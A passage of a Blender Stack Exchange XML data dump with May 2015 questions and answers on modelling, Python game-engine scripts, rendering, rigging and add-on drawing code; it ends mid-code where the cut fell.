  <row Id="29273" PostTypeId="1" AcceptedAnswerId="30322" CreationDate="2015-05-02T12:13:35.190" Score="3" ViewCount="1026" Body="&lt;p&gt;is there a tool in Blender or add-on that provides similar features to MODO’s falloff tool? For example I have a cube that I have added several edge loops and then scaled on the Y axis. I want to now curve the cube creating an insect like shape. In MODO I would apply a linear falloff and then rotate the cube, giving me a nice curve. I tried with the proportional editing option but I do not get the same level of success I get with the MODO tool. Am I just miss-using the proportional editing feature or there is a more suitable way.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Image below shows the falloff tool in Modo and the effect I would like to create in Blender.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/NCdlk.jpg&quot; alt=&quot;Modo Falloff&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks !&lt;/p&gt;&#xA;" OwnerUserId="14123" LastEditorUserId="14123" LastEditDate="2015-05-02T21:44:29.653" LastActivityDate="2015-05-03T13:29:24.850" Title="Equivalent tool to MODO’s Falloff" Tags="&lt;modeling&gt;" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="29274" PostTypeId="2" ParentId="29248" CreationDate="2015-05-02T13:02:44.027" Score="13" Body="&lt;p&gt;Add a sphere, copy it, scale it down in edit mode&#xA;&lt;img src=&quot;https://i.stack.imgur.com/JQVdv.jpg&quot; alt=&quot;Step1&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Select the big sphere, go to the Object panel, under Duplication select Verts&#xA;&lt;img src=&quot;https://i.stack.imgur.com/L0nWw.jpg&quot; alt=&quot;Step2&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Select the small sphere, hold shift, then select the big sphere. Hit CTRL+P and set the paren to Vertex&#xA;&lt;img src=&quot;https://i.stack.imgur.com/vmrPG.jpg&quot; alt=&quot;Step3&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Result should look like that&#xA;&lt;img src=&quot;https://i.stack.imgur.com/QeBQd.jpg&quot; alt=&quot;Step4&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can now go select the big sphere again and go to edit mode, select all vertices. Use the &quot;Randomize&quot; option, I used a setting of 0.06.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/DDYrJ.jpg&quot; alt=&quot;Step5&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can use the Object info -&gt; Random input together with a Math node to give them different colors.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/VJXeA.jpg&quot; alt=&quot;Step5&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This isn't an accurate representation of an atom I guess, but you said it's about simplicity and the visualisation aspect. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/PA56c.jpg&quot; alt=&quot;result&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;P.S.: If you are worried about the top / bottom of the result, as there are more spheres, you can try another type of sphere for the big sphere, e.g. the icosphere, that has an even distribution of vertices.&lt;/p&gt;&#xA;" OwnerUserId="8235" LastEditorUserId="8235" LastEditDate="2015-05-02T13:08:02.537" LastActivityDate="2015-05-02T13:08:02.537" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="29275" PostTypeId="1" CreationDate="2015-05-02T13:19:45.407" Score="2" ViewCount="34" Body="&lt;p&gt;How can more resolution be added to certain parts of a model? For example, on this piece of popcorn the green areas need more detail. How can the whole model stay low poly and only quads while adding the extra detail?&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/xyv0T.png&quot; alt=&quot;high and low poly models&quot; /&gt;&lt;/p&gt;&#xA;" OwnerUserId="7524" LastEditorUserId="-1" LastEditDate="2020-06-10T12:57:44.663" LastActivityDate="2015-05-04T00:00:25.120" Title="Creating areas with different levels of resolution in the same model?" Tags="&lt;mesh&gt;&lt;topology&gt;&lt;geometry&gt;" AnswerCount="0" CommentCount="4" FavoriteCount="1" ClosedDate="2015-05-03T19:19:43.047" ContentLicense="CC BY-SA 3.0" />
  <row Id="29276" PostTypeId="1" AcceptedAnswerId="29277" CreationDate="2015-05-02T13:20:23.920" Score="4" ViewCount="2085" Body="&lt;p&gt;I want to set up a script that randomly changes the shape of an object.&#xA;What I have so far is:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;from bge import logic&#xA;import random&#xA;&#xA;cont = logic.getCurrentController()&#xA;object = cont.owner&#xA;&#xA;&#xA;for mesh in object.meshes:&#xA;   for m_index in range(len(mesh.materials)):&#xA;      for v_index in range(mesh.getVertexArrayLength(m_index)):&#xA;&#xA;         vertex = mesh.getVertex(m_index, v_index)&#xA;         vertex.setXYZ([ random.random(), random.random(), random.random()])&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This works pretty well. However, since every single vertex gets its own random location, the cube turns out something like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ceqWO.jpg&quot; alt=&quot;random shape 1&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;what I want is something like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/58dxU.jpg&quot; alt=&quot;random shape 2&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My question is: how can I achieve something like that?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I think the &quot;broken&quot; shapes happen because 3 vertices are connected to each other and if they all get a different random position, the shape &quot;breaks&quot;?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I assume, that I have to give the vertices 1-3 the same random position, then the vertices 4-6 the same random position and so on?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If that is true, how could I write that down in python?&lt;/p&gt;&#xA;" OwnerUserId="9529" LastEditorUserId="5426" LastEditDate="2016-12-27T18:12:05.087" LastActivityDate="2016-12-27T18:12:05.087" Title="BGE: realtime random shape generator (python)" Tags="&lt;python&gt;&lt;game-engine&gt;&lt;objects&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="29277" PostTypeId="2" ParentId="29276" CreationDate="2015-05-02T14:20:03.877" Score="4" Body="&lt;p&gt;I have modified the code as follows :&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;added a dictionary that stores the vertex position and the generated offset by random.uniform()&lt;/li&gt;&#xA;&lt;li&gt;for each vertex check if there is already an offset for this position , if so we add this offset to the old position&lt;/li&gt;&#xA;&lt;li&gt;if there is no offset calculated for this position we generate a new one and store it in the dictionary, we also add it to the old position&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;this method gives the vertices that has the same position  the same offseet&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;from bge import logic&#xA;import random&#xA;from mathutils import Vector&#xA;&#xA;cont = logic.getCurrentController()&#xA;object = cont.owner&#xA;&#xA;for mesh in object.meshes:&#xA;   print(mesh)&#xA;   verts_shift = dict()&#xA;   for m_index in range(len(mesh.materials)):&#xA;      print(m_index)&#xA;      for v_index in range(mesh.getVertexArrayLength(m_index)):&#xA;         print(v_index)&#xA;         vertex = mesh.getVertex(m_index, v_index)&#xA;         xyz_old= vertex.getXYZ().freeze()&#xA;         xyz_shift = verts_shift.get(xyz_old, None) &#xA;         if xyz_shift :&#xA;             vertex.setXYZ(xyz_old+xyz_shift)&#xA;         else :&#xA;             xyz_shift = Vector(( random.uniform(-0.5,0.5), random.uniform(-0.5,0.5), random.uniform(-0.5,0.5) ))&#xA;             verts_shift[xyz_old] = xyz_shift&#xA;             vertex.setXYZ(xyz_old+xyz_shift)           &#xA;&#xA;         print(xyz_old, xyz_shift)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/QeimG.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="5113" LastEditorUserId="5113" LastEditDate="2015-05-02T14:28:36.003" LastActivityDate="2015-05-02T14:28:36.003" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="29278" PostTypeId="1" AcceptedAnswerId="29280" CreationDate="2015-05-02T15:30:58.790" Score="2" ViewCount="1879" Body="&lt;p&gt;When I look at the scene in the &quot;rendered&quot; mode everything is OK, &#xA;&lt;img src=&quot;https://i.stack.imgur.com/OIQqC.png&quot; alt=&quot;enter image description here&quot;&gt;&#xA;but when I render image to png file, I get this strange distortion. &#xA;&lt;img src=&quot;https://i.stack.imgur.com/YYJpl.png&quot; alt=&quot;enter image description here&quot;&gt;&#xA;Why is this happening and how to fix it?&lt;/p&gt;&#xA;" OwnerUserId="13487" LastActivityDate="2015-05-02T16:03:33.357" Title="Strange distortion of the image after rendering" Tags="&lt;rendering&gt;" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="29279" PostTypeId="1" CreationDate="2015-05-02T16:01:44.413" Score="1" ViewCount="157" Body="&lt;p&gt;I use wacom and searching for gesture input methods blender used to have. Please let me know where the option is?&lt;/p&gt;&#xA;" OwnerUserId="778" LastActivityDate="2020-09-16T17:05:35.393" Title="blender 2.7 gesture inputs are discontinued?" Tags="&lt;customization&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="29280" PostTypeId="2" ParentId="29278" CreationDate="2015-05-02T16:03:33.357" Score="4" Body="&lt;p&gt;The main reason for difference between the render and 3D View is modifiers that are disabled in view or have different setting for view and render.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/VeoUf.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="12820" LastActivityDate="2015-05-02T16:03:33.357" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="29281" PostTypeId="1" CreationDate="2015-05-02T16:06:20.047" Score="1" ViewCount="1180" Body="&lt;p&gt;It get crazy while switching between wacom and mouse as they need different kind of button actions or say &quot;user preferences&quot;&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;For Example in wacom i can zoom using side touch strip. So free the midlle button click for special menu like &quot;w&quot;. But to do this i need to change preference every time i switch.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Is there any quick or automatic way to blender can find whether i am using mouse or wacom pen and change between &quot;user preferences&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or any other work around?&lt;/p&gt;&#xA;" OwnerUserId="778" LastEditorUserId="778" LastEditDate="2015-05-03T03:15:47.110" LastActivityDate="2020-08-02T03:01:37.513" Title="switching between wacom and mouse" Tags="&lt;scripting&gt;&lt;interface&gt;&lt;workflow&gt;&lt;customization&gt;" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="29282" PostTypeId="1" CreationDate="2015-05-02T16:32:16.187" Score="4" ViewCount="53" Body="&lt;p&gt;Is there any way of finding the largest UV-section in the UV-editor without manually comparing each piece next to each other? I want to select the piece that is the largest on either X, Y, or both axes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Using Blender 2.73&lt;/p&gt;&#xA;" OwnerUserId="14128" LastEditorUserId="1448" LastEditDate="2015-05-06T00:11:00.607" LastActivityDate="2015-05-06T00:11:00.607" Title="Find the largest piece in UV-editor in Blender 2.73" Tags="&lt;python&gt;&lt;uv&gt;" AnswerCount="0" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="29284" PostTypeId="2" ParentId="24041" CreationDate="2015-05-02T16:42:47.220" Score="2" Body="&lt;p&gt;Your custom panels will be added in the order that they are registered during the register phase of your addon. If you're using &lt;code&gt;bpy.utils.register_module(__name__)&lt;/code&gt; then that will register the classes in order of appearance in the file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If other add-ons load later, then their panels get appended below yours. There is no functionality (May 2015) to determine a-priori where on a tool-bar your panels appear, at most the order.&lt;/p&gt;&#xA;" OwnerUserId="47" LastEditorUserId="55" LastEditDate="2016-01-26T20:11:54.803" LastActivityDate="2016-01-26T20:11:54.803" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="29285" PostTypeId="1" AcceptedAnswerId="30445" CreationDate="2015-05-02T17:05:50.600" Score="25" ViewCount="23528" Body="&lt;p&gt;Quite impressed by all of Gleb Alexandrov's scenes with some amazing dust floating around. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;(To see what I'm talking about &gt; &lt;a href=&quot;http://www.creativeshrimp.com/lighting-tutorial-atmospheric-effects-dust-book-10.html&quot;&gt;http://www.creativeshrimp.com/lighting-tutorial-atmospheric-effects-dust-book-10.html&lt;/a&gt;)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And I started working last night on a scene that is going to need the same sort of atmospheric dust in the air. But when I looked around on how to create dust particles in the air there was nothing there. Not even anything I could adapt from a tutorial. Everything was from 2009 before volumetrics was even introduced.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Someone in an older tutorial did use a particle system and used a scaled down icosphere as a mesh for each particle, but experimenting with that made everything look really tacky.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way to do dust particles that I'm not thinking of?&lt;/p&gt;&#xA;" OwnerUserId="5634" LastActivityDate="2019-03-06T16:43:44.117" Title="How to Create Dust Floating in the Air?" Tags="&lt;cycles-render-engine&gt;&lt;particles&gt;&lt;volumetrics&gt;" AnswerCount="2" CommentCount="8" FavoriteCount="16" ContentLicense="CC BY-SA 3.0" />
  <row Id="29286" PostTypeId="1" AcceptedAnswerId="30379" CreationDate="2015-05-02T17:57:35.350" Score="3" ViewCount="84" Body="&lt;p&gt;I have an empty and I have set a sphere as its child. When I change the empty's worldPosition(via right-clicking with mouse) the sphere teleports to entirely different location. The strange thing is that when I print the sphere's coordinates it is exactly the same as the empty's and the mouse cursor's. Any ideas? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is the module I wrote.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#Import the bge library.&#xA;import bge&#xA;&#xA;#Make the mouse cursor visible during game running time.&#xA;bge.render.showMouse(True)&#xA;&#xA;#Set the current game scene and python controller to variables.&#xA;scene = bge.logic.getCurrentScene()&#xA;cont = bge.logic.getCurrentController()&#xA;&#xA;#The function &quot;initialization&quot; is responsible for setting all scene objects, object sensors and object actuators to variables.&#xA;#These variables are created into the function but are for global use. Their names are the names of the objects/sensors/actuators in blender.&#xA;def initialization():&#xA;    for k in scene.objects:&#xA;        exec(&quot;globals()[\&quot;%s\&quot;]=scene.objects[\&quot;%s\&quot;]&quot;%(k,k))&#xA;    for k in ground.sensors:&#xA;        exec(&quot;globals()[\&quot;%s\&quot;]=ground.sensors[\&quot;%s\&quot;]&quot;%(k,k))&#xA;    for k in cont.actuators:&#xA;        exec(&quot;globals()[\&quot;%s\&quot;]=cont.actuators[\&quot;%s\&quot;]&quot;%(k,k))&#xA;&#xA;def mouse_2D_coor():&#xA;    global mX, mY&#xA;    mouse_pos = bge.logic.mouse.position&#xA;    #Cramp the coordinates to what the camera sees. (0, 0) at the top left corner and (1, 1) at the bottom right corner.&#xA;    mX = max(0.0,min(1.0,mouse_pos[0]))&#xA;    mY = max(0.0,min(1.0,mouse_pos[1]))&#xA;    #print (&quot;Mouse coor :&quot;,mX,mY)&#xA;&#xA;def empty_to_pos():&#xA;    cursor_empty.worldPosition = (mop.position[0],mop.position[1],cursor_empty.worldPosition.z)&#xA;&#xA;initialization()&#xA;#print (mop.hitPosition)&#xA;if (right_click.positive):&#xA;    empty_to_pos()&#xA;    print (cursor_empty.worldPosition)&#xA;    print (&quot;Mouse&quot;,mop.position)&#xA;    print (&quot;sphere&quot;,sphere.worldPosition)&#xA;&#xA;print (&quot;I reached the end of track.py&quot;)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Here is the &lt;a href=&quot;http://www.pasteall.org/blend/35864&quot; rel=&quot;nofollow&quot;&gt;blend file&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="13866" LastActivityDate="2015-05-04T15:55:49.540" Title="sphere acts weird while changing its worldPosition" Tags="&lt;python&gt;&lt;scripting&gt;&lt;game-engine&gt;&lt;parent&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30287" PostTypeId="1" AcceptedAnswerId="80002" CreationDate="2015-05-02T18:41:48.793" Score="3" ViewCount="155" Body="&lt;p&gt;I'm working with rigging right now and would like to know if there is any visual aid in blender 2.7x to show me the limitations of a bone rotation in a chain?&lt;/p&gt;&#xA;&lt;p&gt;Such as in this picture of 2.6 documentation:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/KnRf1.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;I can't find any button or shortcut to do so.&lt;/p&gt;&#xA;&lt;p&gt;Thanks in advance.&lt;/p&gt;&#xA;" OwnerUserId="14130" LastEditorUserId="-1" LastEditDate="2020-06-10T12:57:44.663" LastActivityDate="2017-05-22T01:26:04.350" Title="Visual aid to show IK Rotation Limitations" Tags="&lt;rigging&gt;" AnswerCount="1" CommentCount="1" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="30288" PostTypeId="1" AcceptedAnswerId="30289" CreationDate="2015-05-02T19:00:19.850" Score="8" ViewCount="3178" Body="&lt;p&gt;Is there a way to parent an object to another, such that the parent does not move the child when it moves? I thought of adding a &quot;negative&quot; Child-of constraint to compensate for movement by parent, but sadly that does not exist since constraint influence can't be set below 0. Any other suggestions?&lt;/p&gt;&#xA;" OwnerUserId="11312" LastEditorUserId="3078" LastEditDate="2015-05-02T19:47:30.677" LastActivityDate="2018-01-16T17:48:15.773" Title="Parent two objects, without the child getting moved by the parent" Tags="&lt;constraints&gt;&lt;parent&gt;" AnswerCount="1" CommentCount="9" ContentLicense="CC BY-SA 3.0" />
  <row Id="30289" PostTypeId="2" ParentId="30288" CreationDate="2015-05-02T19:17:47.260" Score="9" Body="&lt;p&gt;This can be done fairly quickly; what you need to do is and an empty to the location of the child, and then make the child copy the location of the empty, using a constraint &amp;mdash; now you can safely parent both objects and the child won't move. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can do this by:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;While in Edit mode, and with the child selected, pressing &lt;kbd&gt;Shift&lt;/kbd&gt; + &lt;kbd&gt;S&lt;/kbd&gt; &gt; &lt;em&gt;Cursor to selected&lt;/em&gt;&lt;/li&gt;&#xA;&lt;li&gt;Pressing &lt;kbd&gt;Shift&lt;/kbd&gt; + &lt;kbd&gt;A&lt;/kbd&gt; &gt; &lt;em&gt;Empty&lt;/em&gt; &gt; &lt;em&gt;Plain Axis&lt;/em&gt;&lt;/li&gt;&#xA;&lt;li&gt;Selecting the child, going to the &lt;em&gt;Constraints&lt;/em&gt; tab of the &lt;em&gt;Properties&lt;/em&gt; window and adding a  &lt;em&gt;Copy Location&lt;/em&gt; constraint, with the target set to the empty created earlier&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="3078" LastEditorUserId="12" LastEditDate="2015-05-02T21:13:14.373" LastActivityDate="2015-05-02T21:13:14.373" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="30291" PostTypeId="2" ParentId="24041" CreationDate="2015-05-02T19:55:35.667" Score="3" Body="&lt;p&gt;Currently the Python API &lt;strong&gt;can't handle panel ordering at runtime&lt;/strong&gt; (it's not exposed).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Blender philosophy is that in general python scripts should not care about where panels are. It's only in the hands of user.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Panels get added in order of their registration, but user can reorder them anytime and this order will be saved and used.&lt;/p&gt;&#xA;" OwnerUserId="7777" LastEditorUserId="7777" LastEditDate="2016-01-26T20:24:08.567" LastActivityDate="2016-01-26T20:24:08.567" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="30292" PostTypeId="1" CreationDate="2015-05-02T20:06:40.580" Score="2" ViewCount="90" Body="&lt;p&gt;When I go to &lt;em&gt;User preferences &gt; Add-ons &gt; Install From File&lt;/em&gt;, the default layout is laid out in such a way that one of the panes overlaps the others while having loads of empty space. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/pQj75.png&quot; alt=&quot;One GUI pane takes up a lot of unnecessary space, overlapping others&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Aside from this being a weird default layout, how do I change it?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(I always need to access the stuff under &lt;em&gt;System&lt;/em&gt; there, and it's getting really tedious to pull that thing down every time.).&lt;/p&gt;&#xA;" OwnerUserId="11312" LastActivityDate="2015-05-02T20:06:40.580" Title="Weird default GUI layout" Tags="&lt;interface&gt;&lt;customization&gt;" AnswerCount="0" CommentCount="9" ClosedDate="2015-05-03T13:16:54.283" ContentLicense="CC BY-SA 3.0" />
  <row Id="30293" PostTypeId="1" CreationDate="2015-05-02T20:14:01.683" Score="5" ViewCount="3801" Body="&lt;p&gt;This is a question from a Maya user.&#xA;I can't find this in the manuals, and I feel really dumb. They all take it for granted.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have a lot of animated properties in the graph editor. They all do the same. I'm moving them around together. But I want to change them to Free Tangents, which I did, and change their animation by moving the handles on both sides of the point.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But I can't do it. I changed to Maya preset in the settings, so I could do it the same way I do it there. But there is NO WAY to move the tangents by selecting and moving them using the handles... &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT:&lt;/strong&gt;&#xA;Moving one tangent is possible by using Middle Mouse Button, BUT this doesn't work at all for several tangents. I want to move all of them at the same time.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How do you do it?&lt;/p&gt;&#xA;" OwnerUserId="14131" LastEditorUserId="14131" LastEditDate="2015-05-05T17:51:45.313" LastActivityDate="2015-10-11T18:04:18.967" Title="Graph Editor - Moving only one side of a tangent for multiple keyframes" Tags="&lt;animation&gt;&lt;graph-editor&gt;" AnswerCount="1" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="30294" PostTypeId="1" AcceptedAnswerId="30312" CreationDate="2015-05-02T20:20:13.927" Score="3" ViewCount="333" Body="&lt;p&gt;I created an Ocean simulation, with an object &quot;floating&quot; on it. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://www.youtube.com/watch?v=mZUkHyDC1lk&amp;amp;feature=youtu.be&quot; rel=&quot;nofollow&quot;&gt;https://www.youtube.com/watch?v=mZUkHyDC1lk&amp;amp;feature=youtu.be&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now I need to export this to Nuke, so I need to convert the movement of the floating object to animation keys - floating object repeats location and rotation of the ocean, in the area that I'm drawing using invisible object (dinamic paint).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can I somehow convert movement animation of the floating object into animation keys? &lt;/p&gt;&#xA;" OwnerUserId="13487" LastEditorUserId="13487" LastEditDate="2015-05-02T21:18:22.650" LastActivityDate="2015-05-03T14:55:21.127" Title="Is it possible to convert movement animation of the floating object into animation keys?" Tags="&lt;animation&gt;&lt;export&gt;&lt;ocean-simulation&gt;" AnswerCount="1" CommentCount="5" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30295" PostTypeId="1" AcceptedAnswerId="30413" CreationDate="2015-05-02T20:24:30.270" Score="3" ViewCount="1700" Body="&lt;p&gt;&lt;strong&gt;UPDATE&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here another example in order to clarify this question, I did a video in order to resume the problem  &lt;a href=&quot;https://www.youtube.com/watch?v=yShhJOzkJBk&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.youtube.com/watch?v=yShhJOzkJBk&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;here the addon working without the BGL CODE.... as you see the properties are working too:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/fQJL1.png&quot; alt=&quot;addon working without BGL&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;but if I allow the BGL code  many strange things happen:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;properties unavailable&lt;/li&gt;&#xA;&lt;li&gt;the mesh deforms uncontrollably&lt;/li&gt;&#xA;&lt;li&gt;in some cases blender crash&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/S3xbG.png&quot; alt=&quot;with BGL&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;what I'm doing wrong?&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;here the full code of this test: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;'''&#xA;BEGIN GPL LICENSE BLOCK&#xA;&#xA;This program is free software; you can redistribute it and/or&#xA;modify it under the terms of the GNU General Public License&#xA;as published by the Free Software Foundation; either version 2&#xA;of the License, or (at your option) any later version.&#xA;&#xA;This program is distributed in the hope that it will be useful,&#xA;but WITHOUT ANY WARRANTY; without even the implied warranty of&#xA;MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.    See the&#xA;GNU General Public License for more details.&#xA;&#xA;You should have received a copy of the GNU General Public License&#xA;along with this program; if not, write to the Free Software Foundation,&#xA;Inc., 59 Temple Place - Suite 330, Boston, MA  02111-1307, USA.&#xA;&#xA;END GPL LICENCE BLOCK&#xA;'''&#xA;&#xA;bl_info = {  &#xA; &quot;name&quot;: &quot;Test bgl + joinmeshr&quot;,  &#xA; &quot;author&quot;: &quot;Diego Quevedo ( http://doshape.com/ )&quot;,  &#xA; &quot;version&quot;: (1, 0),  &#xA; &quot;blender&quot;: (2, 7 , 3),  &#xA; &quot;location&quot;: &quot;View3D &amp;gt; EditMode &amp;gt; ToolShelf&quot;,  &#xA; &quot;description&quot;: &quot;Testing bgl&quot;,  &#xA; &quot;warning&quot;: &quot;&quot;,  &#xA; &quot;wiki_url&quot;: &quot;&quot;,  &#xA; &quot;tracker_url&quot;: &quot;&quot;,  &#xA; &quot;category&quot;: &quot;Mesh&quot;} &#xA;&#xA;import bpy&#xA;import bmesh&#xA;import mathutils&#xA;import math&#xA;from bpy_extras import view3d_utils&#xA;import time&#xA;import sys&#xA;import bgl&#xA;import blf&#xA;&#xA;def draw_callback_px(self, context):&#xA;&#xA;        oa = bpy.context.active_object&#xA;        obj = bpy.context.object&#xA;        me = obj.data&#xA;        bm = bmesh.from_edit_mesh(me)&#xA;&#xA;        for area in bpy.context.screen.areas:&#xA;            if area.type == 'VIEW_3D':&#xA;                override = bpy.context.copy()&#xA;                viewport = area.regions[4]&#xA;                v_m = area.spaces[0].region_3d.view_matrix  #orientation matrix&#xA;&#xA;                vertices= [v for v in bm.verts if (v.select == True and v.hide == False)]&#xA;&#xA;&#xA;                vn1 = vertices[0]&#xA;&#xA;                vn2 = bm.verts.new(vn1.co)&#xA;&#xA;                vn3 = bm.verts.new(vn1.co)&#xA;&#xA;                 #vector conversion from view space to world space&#xA;&#xA;&#xA;                vn1.select = False&#xA;                vn2.select = True&#xA;                vn3.select = False&#xA;                bm.select_history.active&#xA;                values = mathutils.Vector((1,0,0))*v_m&#xA;&#xA;                #the translation is done in global orientation without any constraints&#xA;                bpy.ops.transform.translate(value=values)&#xA;&#xA;&#xA;                #bpy.context.object.location += values   #another way to translate&#xA;&#xA;                vn1.select = False&#xA;                vn2.select = False&#xA;                vn3.select = True&#xA;                bm.select_history.active&#xA;                values = mathutils.Vector((0,1,0))*v_m&#xA;&#xA;                bpy.ops.transform.translate(value=values)&#xA;                vn3.select=False&#xA;                vn1.select = True&#xA;                bm.select_history.active&#xA;                vn2.select = True&#xA;                vn3.select = True&#xA;&#xA;&#xA;                font_id = 0  # XXX, need to find out how best to get this.&#xA;&#xA;                # draw some text&#xA;                #blf.position(font_id, 0, 0, 0)&#xA;                #blf.size(font_id, 20, 72)&#xA;                #blf.draw(font_id, oa.name)&#xA;&#xA;                # 50% alpha, 2 pixel width line&#xA;                bgl.glEnable(bgl.GL_BLEND)&#xA;                bgl.glColor4f(1.0, 1.0, 1.0, 0.5)&#xA;                bgl.glLineWidth(2)&#xA;&#xA;                bgl.glBegin(bgl.GL_LINE_STRIP)&#xA;                bgl.glVertex3f(*vn1.co)&#xA;                bgl.glVertex3f(*vn2.co)&#xA;&#xA;                bgl.glBegin(bgl.GL_LINE_STRIP)&#xA;                bgl.glVertex3f(*vn1.co)&#xA;                bgl.glVertex3f(*vn3.co)&#xA;                #bgl.glVertex3f(*ob.matrix_world.translation)&#xA;                #bgl.glVertex3f(*context.scene.cursor_location)&#xA;                bgl.glEnd()&#xA;&#xA;                # restore opengl defaults&#xA;                bgl.glLineWidth(1)&#xA;                bgl.glDisable(bgl.GL_BLEND)&#xA;                bgl.glColor4f(0.0, 0.0, 0.0, 1.0)&#xA;&#xA;                #SEND TO CUT&#xA;                #calcularangulos1(v1, v3, 